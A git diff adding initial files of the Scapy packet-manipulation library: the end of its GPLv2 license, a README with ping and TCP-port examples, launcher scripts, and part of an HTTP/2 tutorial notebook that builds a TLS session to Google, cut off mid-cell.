+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+                            NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License along
+    with this program; if not, write to the Free Software Foundation, Inc.,
+    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.
diff --git a/MANIFEST.in b/MANIFEST.in
new file mode 100644
index 0000000..880a3f5
--- /dev/null
+++ b/MANIFEST.in
@@ -0,0 +1,6 @@
+include MANIFEST.in
+include run_scapy
+recursive-include bin *
+recursive-include doc *
+recursive-include test *
+include scapy/VERSION
diff --git a/README b/README
new file mode 120000
index 0000000..42061c0
--- /dev/null
+++ b/README
@@ -0,0 +1 @@
+README.md
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..8f4963c
--- /dev/null
+++ b/README.md
@@ -0,0 +1,115 @@
+<p align="center">
+  <img src="doc/scapy_logo.png" width=200>
+</p>
+
+# Scapy #
+
+[![Travis Build Status](https://travis-ci.org/secdev/scapy.svg?branch=master)](https://travis-ci.org/secdev/scapy)
+[![AppVeyor Build Status](https://ci.appveyor.com/api/projects/status/github/secdev/scapy?svg=true)](https://ci.appveyor.com/project/secdev/scapy)
+[![Codecov Status](https://codecov.io/gh/secdev/scapy/branch/master/graph/badge.svg)](https://codecov.io/gh/secdev/scapy)
+[![PyPI Version](https://img.shields.io/pypi/v/scapy.svg)](https://pypi.python.org/pypi/scapy/)
+[![Python Versions](https://img.shields.io/pypi/pyversions/scapy.svg)](https://pypi.python.org/pypi/scapy/)
+[![License: GPL v2](https://img.shields.io/badge/License-GPL%20v2-blue.svg)](LICENSE)
+[![Join the chat at https://gitter.im/secdev/scapy](https://badges.gitter.im/secdev/scapy.svg)](https://gitter.im/secdev/scapy?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
+
+
+Scapy is a powerful Python-based interactive packet manipulation program and
+library.
+
+It is able to forge or decode packets of a wide number of protocols, send them
+on the wire, capture them, store or read them using pcap files, match requests
+and replies, and much more. It is designed to allow fast packet prototyping by
+using default values that work.
+
+It can easily handle most classical tasks like scanning, tracerouting, probing,
+unit tests, attacks or network discovery (it can replace `hping`, 85% of `nmap`,
+`arpspoof`, `arp-sk`, `arping`, `tcpdump`, `wireshark`, `p0f`, etc.). It also
+performs very well at a lot of other specific tasks that most other tools can't
+handle, like sending invalid frames, injecting your own 802.11 frames, combining
+techniques (VLAN hopping+ARP cache poisoning, VoIP decoding on WEP protected
+channel, ...), etc.
+
+Scapy supports Python 2.7 and Python 3 (3.3 to 3.6). It's intended to
+be cross platform, and runs on many different platforms (Linux, OSX,
+*BSD, and Windows).
+
+## Hands-on ##
+
+### Interactive shell ###
+
+Scapy can easily be used as an interactive shell to interact with the network.
+The following example shows how to send an ICMP Echo Request message to
+`github.com`, then display the reply source IP address:
+
+```python
+sudo ./run_scapy 
+Welcome to Scapy
+>>> p = IP(dst="github.com")/ICMP()
+>>> r = sr1(p)
+Begin emission:
+.Finished to send 1 packets.
+*
+Received 2 packets, got 1 answers, remaining 0 packets
+>>> r[IP].src
+'192.30.253.113'
+```
+
+### Python module ###
+
+It is straightforward to use Scapy as a regular Python module, for example to
+check if a TCP port is opened. First, save the following code in a file names
+`send_tcp_syn.py`
+
+```python
+from scapy.all import *
+conf.verb = 0
+
+p = IP(dst="github.com")/TCP()
+r = sr1(p)
+print(r.summary())
+```
+
+Then, launch the script with:
+```python
+sudo python send_tcp_syn.py
+IP / TCP 192.30.253.113:http > 192.168.46.10:ftp_data SA / Padding
+```
+
+### Resources ###
+
+To begin with Scapy, you should check [the notebook
+hands-on](doc/notebooks/Scapy%20in%2015%20minutes.ipynb) and the [interactive
+tutorial](http://scapy.readthedocs.io/en/latest/usage.html#interactive-tutorial).
+If you want to learn more, see [the quick demo: an interactive
+session](http://scapy.readthedocs.io/en/latest/introduction.html#quick-demo)
+(some examples may be outdated), or play with the
+[HTTP/2](doc/notebooks/HTTP_2_Tuto.ipynb) and [TLS](doc/notebooks/tls)
+notebooks.
+
+The [documentation](http://scapy.readthedocs.io/en/latest/) contains more
+advanced use cases, and examples.
+
+## Installation ##
+
+Scapy works without any external Python modules on Linux and BSD like operating
+systems. On Windows, you need to install some mandatory dependencies as
+described in [the
+documentation](http://scapy.readthedocs.io/en/latest/installation.html#windows).
+
+On most systems, using Scapy is as simple as running the following commands:
+```
+git clone https://github.com/secdev/scapy
+cd scapy
+./run_scapy
+>>>
+```
+
+To benefit from all Scapy features, such as plotting, you might want to install
+Python modules, such as `matplotlib` or `cryptography`. See the
+[documentation](http://scapy.readthedocs.io/en/latest/installation.html) and
+follow the instructions to install them.
+
+## Contributing ##
+
+Want to contribute? Great! Please take a few minutes to
+[read this](CONTRIBUTING.md)!
diff --git a/bin/UTscapy b/bin/UTscapy
new file mode 100755
index 0000000..17c4f87
--- /dev/null
+++ b/bin/UTscapy
@@ -0,0 +1,27 @@
+#! /usr/bin/env python
+
+
+#############################################################################
+##                                                                         ##
+## UTscapy.py --- Unit Tests with scapy                                    ##
+##                see http://www.secdev.org/projects/UTscapy/              ##
+##                for more informations                                    ##
+##                                                                         ##
+## Copyright (C) 2005  Philippe Biondi <phil@secdev.org>                   ##
+##                                                                         ##
+## This program is free software; you can redistribute it and/or modify it ##
+## under the terms of the GNU General Public License version 2 as          ##
+## published by the Free Software Foundation.                              ##
+##                                                                         ##
+## This program is distributed in the hope that it will be useful, but     ##
+## WITHOUT ANY WARRANTY; without even the implied warranty of              ##
+## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU        ##
+## General Public License for more details.                                ##
+##                                                                         ##
+#############################################################################
+
+
+import sys
+from scapy.tools.UTscapy import main
+
+exit(main(sys.argv[1:]))
diff --git a/bin/UTscapy.bat b/bin/UTscapy.bat
new file mode 100755
index 0000000..d9c277f
--- /dev/null
+++ b/bin/UTscapy.bat
@@ -0,0 +1,4 @@
+@echo off
+REM Use Python to run the UTscapy script from the current directory, passing all parameters
+title UTscapy
+python "%~dp0\UTscapy" %*
diff --git a/bin/scapy b/bin/scapy
new file mode 100755
index 0000000..39e36aa
--- /dev/null
+++ b/bin/scapy
@@ -0,0 +1,25 @@
+#! /usr/bin/env python
+
+#############################################################################
+##                                                                         ##
+## scapy.py --- Interactive packet manipulation tool                       ##
+##              see http://www.secdev.org/projects/scapy/                  ##
+##              for more informations                                      ##
+##                                                                         ##
+## Copyright (C) Philippe Biondi <phil@secdev.org>                         ##
+##                                                                         ##
+## This program is free software; you can redistribute it and/or modify it ##
+## under the terms of the GNU General Public License version 2 as          ##
+## published by the Free Software Foundation.                              ##
+##                                                                         ##
+## This program is distributed in the hope that it will be useful, but     ##
+## WITHOUT ANY WARRANTY; without even the implied warranty of              ##
+## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU       ##
+## General Public License for more details.                                ##
+##                                                                         ##
+#############################################################################
+
+
+from scapy.main import interact
+
+interact()
diff --git a/bin/scapy.bat b/bin/scapy.bat
new file mode 100755
index 0000000..23e43cb
--- /dev/null
+++ b/bin/scapy.bat
@@ -0,0 +1,4 @@
+@echo off
+REM Use Python to run the Scapy script from the current directory, passing all parameters
+title scapy
+python "%~dp0\scapy" %*
diff --git a/doc/notebooks/HTTP_2_Tuto.ipynb b/doc/notebooks/HTTP_2_Tuto.ipynb
new file mode 100644
index 0000000..bb2a23a
--- /dev/null
+++ b/doc/notebooks/HTTP_2_Tuto.ipynb
@@ -0,0 +1,2550 @@
+{
+ "metadata": {
+  "name": "",
+  "signature": "sha256:50ffc723dfcf9f5650b542c1b77933eeaa2df6f665494225ce2aba661b86885e"
+ },
+ "nbformat": 3,
+ "nbformat_minor": 0,
+ "worksheets": [
+  {
+   "cells": [
+    {
+     "cell_type": "heading",
+     "level": 1,
+     "metadata": {},
+     "source": [
+      "HTTP/2 Tutorial"
+     ]
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "This tutorial aims at creating an HTTP/2 session using Scapy. The frontpage of Google will be fetched. The favicon will also be loaded as a dependency of the frontpage. Finally, a Google query will be submitted. The first queries will be generated using some Scapy helpers. The last one will be generated by hand, to better illustrate the low level APIs.\n",
+      "\n",
+      "This tutorial can be run without any privileges (no root, no CAP_NET_ADMIN, no CAP_NET_RAW). One can select \"Cell -> Run All\" to perform the three queries."
+     ]
+    },
+    {
+     "cell_type": "heading",
+     "level": 2,
+     "metadata": {},
+     "source": [
+      "Building the socket"
+     ]
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "First, we need to build an TLS socket to the HTTP server, and to negotiate the HTTP/2 protocol as the next protocol. Doing so requires a fairly recent version of the Python ssl module. We indeed need support of ALPN (https://www.rfc-editor.org/rfc/rfc7301.txt).\n",
+      "We build our TCP socket first."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "import socket\n",
+      "dn = 'www.google.fr'\n",
+      "\n",
+      "# Get the IP address of a Google HTTP endpoint\n",
+      "l = socket.getaddrinfo(dn, 443, socket.INADDR_ANY, socket.SOCK_STREAM, socket.IPPROTO_TCP)\n",
+      "assert len(l) > 0, 'No address found :('\n",
+      "\n",
+      "s = socket.socket(l[0][0], l[0][1], l[0][2])\n",
+      "s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n",
+      "s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)\n",
+      "ip_and_port = l[0][4]"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 99
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "We now build our SSL context and we wrap the previously defined socket in it."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "import ssl\n",
+      "# Testing support for ALPN\n",
+      "assert(ssl.HAS_ALPN)\n",
+      "\n",
+      "# Building the SSL context\n",
+      "ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)\n",
+      "ssl_ctx.set_ciphers(':'.join([  # List from ANSSI TLS guide v.1.1 p.51\n",
+      "                'ECDHE-ECDSA-AES256-GCM-SHA384',\n",
+      "                'ECDHE-RSA-AES256-GCM-SHA384',\n",
+      "                'ECDHE-ECDSA-AES128-GCM-SHA256',\n",
+      "                'ECDHE-RSA-AES128-GCM-SHA256',\n",
+      "                'ECDHE-ECDSA-AES256-SHA384',\n",
+      "                'ECDHE-RSA-AES256-SHA384',\n",
+      "                'ECDHE-ECDSA-AES128-SHA256',\n",
+      "                'ECDHE-RSA-AES128-SHA256',\n",
+      "                'ECDHE-ECDSA-CAMELLIA256-SHA384',\n",
+      "                'ECDHE-RSA-CAMELLIA256-SHA384',\n",
+      "                'ECDHE-ECDSA-CAMELLIA128-SHA256',\n",
+      "                'ECDHE-RSA-CAMELLIA128-SHA256',\n",
+      "                'DHE-RSA-AES256-GCM-SHA384',\n",
+      "                'DHE-RSA-AES128-GCM-SHA256',\n",
+      "                'DHE-RSA-AES256-SHA256',\n",
+      "                'DHE-RSA-AES128-SHA256',\n",
+      "                'AES256-GCM-SHA384',\n",
+      "                'AES128-GCM-SHA256',\n",
+      "                'AES256-SHA256',\n",
+      "                'AES128-SHA256',\n",
+      "                'CAMELLIA128-SHA256'\n",
+      "            ]))     \n",
+      "ssl_ctx.set_alpn_protocols(['h2'])  # h2 is a RFC7540-hardcoded value\n",
+      "ssl_sock = ssl_ctx.wrap_socket(s, server_hostname=dn)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 100
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "We then connect the socket to the TCP endpoint."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "ssl_sock.connect(ip_and_port)\n",
+      "assert('h2' == ssl_sock.selected_alpn_protocol())"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 101
+    },
+    {
+     "cell_type": "heading",
+     "level": 2,
+     "metadata": {},
+     "source": [
+      "Reading the server settings and acknowledging them."
+     ]
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "With HTTP/2, the server is the first to talk, sending its settings for the HTTP/2 session. Let's read them. For this, we wrap the TLS connection into a Scapy SuperSocket for easier management."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "import scapy.supersocket as supersocket\n",
+      "import scapy.contrib.http2 as h2\n",
+      "import scapy.config\n",
+      "scapy.config.conf.debug_dissector = True\n",
+      "ss = supersocket.SSLStreamSocket(ssl_sock, basecls=h2.H2Frame)\n",
+      "srv_set = ss.recv()\n",
+      "srv_set.show()"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "###[ HTTP/2 Frame ]### \n",
+        "  len       = 0x12\n",
+        "  type      = SetFrm\n",
+        "  flags     = set([])\n",
+        "  reserved  = 0L\n",
+        "  stream_id = 0L\n",
+        "###[ HTTP/2 Settings Frame ]### \n",
+        "     \\settings  \\\n",
+        "      |###[ HTTP/2 Setting ]### \n",
+        "      |  id        = Max concurrent streams\n",
+        "      |  value     = 100\n",
+        "      |###[ HTTP/2 Setting ]### \n",
+        "      |  id        = Initial window size\n",
+        "      |  value     = 1048576\n",
+        "      |###[ HTTP/2 Setting ]### \n",
+        "      |  id        = Max header list size\n",
+        "      |  value     = 16384\n",
+        "\n"
+       ]
+      }
+     ],
+     "prompt_number": 102
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "Let's make a note of the server settings for later usage.\n",
+      "We define variables for the server settings. They are assigned the RFC-defined default values. These values are overwritten by the settings provided by the server, if they are provided."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "srv_max_frm_sz = 1<<14\n",
+      "srv_hdr_tbl_sz = 4096\n",
+      "srv_max_hdr_tbl_sz = 0\n",
+      "srv_global_window = 1<<14\n",
+      "for setting in srv_set.payload.settings:\n",
+      "    if setting.id == h2.H2Setting.SETTINGS_HEADER_TABLE_SIZE:\n",
+      "        srv_hdr_tbl_sz = setting.value\n",
+      "    elif setting.id == h2.H2Setting.SETTINGS_MAX_HEADER_LIST_SIZE:\n",
+      "        srv_max_hdr_lst_sz = setting.value\n",
+      "    elif setting.id == h2.H2Setting.SETTINGS_INITIAL_WINDOW_SIZE:\n",
+      "        srv_global_window = setting.value"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 103
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "HTTP/2 is a very polite protocol. We need to acknowledge the server settings. For this, we first need to send a constant string, which is a connection preface. This serves the purpose of confirming to the server that the HTTP/2 protocol is understood by the client. Scapy builds the appropriate packet for us to send from this constant string."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "import scapy.packet as packet\n",
+      "\n",
+      "# We verify that the server window is large enough for us to send some data.\n",
+      "srv_global_window -= len(h2.H2_CLIENT_CONNECTION_PREFACE)\n",
+      "assert(srv_global_window >= 0)\n",
+      "\n",
+      "ss.send(packet.Raw(h2.H2_CLIENT_CONNECTION_PREFACE))"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 104,
+       "text": [
+        "24"
+       ]
+      }
+     ],
+     "prompt_number": 104
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "Then, we build the acknowledgment frame and we send our own settings in another frame. We will define very LARGE values (maximum values as defined in the RFC7540, in most cases), just so that we don't end up having to handle window management in this tutorial."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "set_ack = h2.H2Frame(flags={'A'})/h2.H2SettingsFrame()\n",
+      "set_ack.show()"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "###[ HTTP/2 Frame ]### \n",
+        "  len       = None\n",
+        "  type      = SetFrm\n",
+        "  flags     = set(['ACK (A)'])\n",
+        "  reserved  = 0\n",
+        "  stream_id = 0\n",
+        "###[ HTTP/2 Settings Frame ]### \n",
+        "     \\settings  \\\n",
+        "\n"
+       ]
+      }
+     ],
+     "prompt_number": 105
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "own_set = h2.H2Frame()/h2.H2SettingsFrame()\n",
+      "max_frm_sz = (1 << 24) - 1\n",
+      "max_hdr_tbl_sz = (1 << 16) - 1\n",
+      "win_sz = (1 << 31) - 1\n",
+      "own_set.settings = [\n",
+      "    h2.H2Setting(id = h2.H2Setting.SETTINGS_ENABLE_PUSH, value=0),\n",
+      "    h2.H2Setting(id = h2.H2Setting.SETTINGS_INITIAL_WINDOW_SIZE, value=win_sz),\n",
+      "    h2.H2Setting(id = h2.H2Setting.SETTINGS_HEADER_TABLE_SIZE, value=max_hdr_tbl_sz),\n",
+      "    h2.H2Setting(id = h2.H2Setting.SETTINGS_MAX_FRAME_SIZE, value=max_frm_sz),\n",
+      "]"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 106
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "We then send the two frames and then read the acknowledgment of our settings from the server. We set up a loop because the first frames that we may read could be PING frames or window management frames."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "h2seq = h2.H2Seq()\n",
+      "h2seq.frames = [\n",
+      "    set_ack,\n",
+      "    own_set\n",
+      "]\n",
+      "# We verify that the server window is large enough for us to send our frames.\n",
+      "srv_global_window -= len(str(h2seq))\n",
+      "assert(srv_global_window >= 0)\n",
+      "ss.send(h2seq)\n",
+      "\n",
+      "# Loop until an acknowledgement for our settings is received\n",
+      "new_frame = None\n",
+      "while isinstance(new_frame, type(None)) or not (\n",
+      "        new_frame.type == h2.H2SettingsFrame.type_id \n",
+      "        and 'A' in new_frame.flags\n",
+      "    ):\n",
+      "    if not isinstance(new_frame, type(None)):\n",
+      "        # If we received a frame about window management \n",
+      "        if new_frame.type == h2.H2WindowUpdateFrame.type_id:\n",
+      "            # For this tutorial, we don't care about stream-specific windows, but we should :)\n",
+      "            if new_frame.stream_id == 0:\n",
+      "                srv_global_window += new_frame.payload.win_size_incr\n",
+      "        # If we received a Ping frame, we acknowledge the ping, \n",
+      "        # just by setting the ACK flag (A), and sending back the query\n",
+      "        elif new_frame.type == h2.H2PingFrame.type_id:\n",
+      "            new_flags = new_frame.getfieldval('flags')\n",
+      "            new_flags.add('A')\n",
+      "            new_frame.flags = new_flags\n",
+      "            srv_global_window -= len(str(new_frame))\n",
+      "            assert(srv_global_window >= 0)\n",
+      "            ss.send(new_frame)\n",
+      "        else:\n",
+      "            assert new_frame.type != h2.H2ResetFrame.type_id \\\n",
+      "                and new_frame.type != h2.H2GoAwayFrame.type_id, \\\n",
+      "                \"Error received; something is not right!\"\n",
+      "    try:\n",
+      "        new_frame = ss.recv()\n",
+      "        new_frame.show()\n",
+      "    except:\n",
+      "        import time\n",
+      "        time.sleep(1)\n",
+      "        new_frame = None"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "###[ HTTP/2 Frame ]### \n",
+        "  len       = 0x4\n",
+        "  type      = WinFrm\n",
+        "  flags     = set([])\n",
+        "  reserved  = 0L\n",
+        "  stream_id = 0L\n",
+        "###[ HTTP/2 Window Update Frame ]### \n",
+        "     reserved  = 0L\n",
+        "     win_size_incr= 983041L\n",
+        "\n",
+        "###[ HTTP/2 Frame ]### \n",
+        "  len       = 0x0\n",
+        "  type      = SetFrm\n",
+        "  flags     = set(['ACK (A)'])\n",
+        "  reserved  = 0L\n",
+        "  stream_id = 0L\n",
+        "\n"
+       ]
+      }
+     ],
+     "prompt_number": 107
+    },
+    {
+     "cell_type": "heading",
+     "level": 2,
+     "metadata": {},
+     "source": [
+      "Build the form query with the helpers"
+     ]
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "We are now building a query for the frontpage https://www.google.fr/. We use the HTTP/2 Scapy Module helpers to build this query. The parse_txt_hdrs helper receives various parameters regarding the size of the header blocks and the frame to automatically split the values on multiple frames, if need be. It also receives two callbacks to know which flavour of HPack header encoding we should apply.\n",
+      "\n",
+      "We either use the server settings if they were specified or the default values.\n",
+      "\n",
+      "You may note that we say that cookies are sensitive, regardless of their content. We would do something a bit smarter, if we knew what is the name of the cookies that are sensitive, and those that are merely informative. In HTTP/2 cookies are split into multiple \"cookie\" headers, while in HTTP/1.1, they are all stored inside the same header.\n",
+      "\n",
+      "As the client of this HTTP/2 connection, we need to use odd stream ids, per RFC7540. Since this is the first query, we will use the stream id 1."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "tblhdr = h2.HPackHdrTable()\n",
+      "qry_frontpage = tblhdr.parse_txt_hdrs(\n",
+      "    ''':method GET\n",
+      ":path /\n",
+      ":authority www.google.fr\n",
+      ":scheme https\n",
+      "accept-encoding: gzip, deflate\n",
+      "accept-language: fr-FR\n",
+      "accept: text/html\n",
+      "user-agent: Scapy HTTP/2 Module\n",
+      "''',\n",
+      "    stream_id=1,\n",
+      "    max_frm_sz=srv_max_frm_sz,\n",
+      "    max_hdr_lst_sz=srv_max_hdr_lst_sz,\n",
+      "    is_sensitive=lambda hdr_name, hdr_val: hdr_name in ['cookie'],\n",
+      "    should_index=lambda x: x in [\n",
+      "            'x-requested-with', \n",
+      "            'user-agent', \n",
+      "            'accept-language',\n",
+      "            ':authority',\n",
+      "            'accept',\n",
+      "        ]\n",
+      ")\n",
+      "qry_frontpage.show()"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "###[ HTTP/2 Frame Sequence ]### \n",
+        "  \\frames    \\\n",
+        "   |###[ HTTP/2 Frame ]### \n",
+        "   |  len       = None\n",
+        "   |  type      = HdrsFrm\n",
+        "   |  flags     = set(['End Stream (ES)', 'End Headers (EH)'])\n",
+        "   |  reserved  = 0\n",
+        "   |  stream_id = 1\n",
+        "   |###[ HTTP/2 Headers Frame ]### \n",
+        "   |     \\hdrs      \\\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 2\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 4\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 1\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = None\n",
+        "   |      |   |  len       = None\n",
+        "   |      |   |  data      = 'HPackZString(www.google.fr)'\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 7\n",
+        "   |      |###[ HPack Indexed Header Field ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 16\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 17\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = None\n",
+        "   |      |   |  len       = None\n",
+        "   |      |   |  data      = 'HPackZString(fr-FR)'\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 19\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = None\n",
+        "   |      |   |  len       = None\n",
+        "   |      |   |  data      = 'HPackZString(text/html)'\n",
+        "   |      |###[ HPack Literal Header With Incremental Indexing ]### \n",
+        "   |      |  magic     = 1\n",
+        "   |      |  index     = 58\n",
+        "   |      |  \\hdr_value \\\n",
+        "   |      |   |###[ HPack Header String ]### \n",
+        "   |      |   |  type      = None\n",
+        "   |      |   |  len       = None\n",
+        "   |      |   |  data      = 'HPackZString(Scapy HTTP/2 Module)'\n",
+        "\n"
+       ]
+      }
+     ],
+     "prompt_number": 108
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "The previous helper updated the HPackHdrTable structure with the headers that should be indexed. We don't need to look inside that table if we only use helpers. For the sake of this tutorial, though, we will."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "for i in xrange(max(tblhdr._static_entries.keys()) + 1, max(tblhdr._static_entries.keys()) + 1 + len(tblhdr._dynamic_table)):\n",
+      "    print('Header: {} Value: {}'.format(tblhdr[i].name(), tblhdr[i].value()))"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "Header: user-agent Value: Scapy HTTP/2 Module\n",
+        "Header: accept Value: text/html\n",
+        "Header: accept-language Value: fr-FR\n",
+        "Header: :authority Value: www.google.fr\n"
+       ]
+      }
+     ],
+     "prompt_number": 109
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "We also build a query for the favicon."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "qry_icon = tblhdr.parse_txt_hdrs(\n",
+      "    ''':method GET\n",
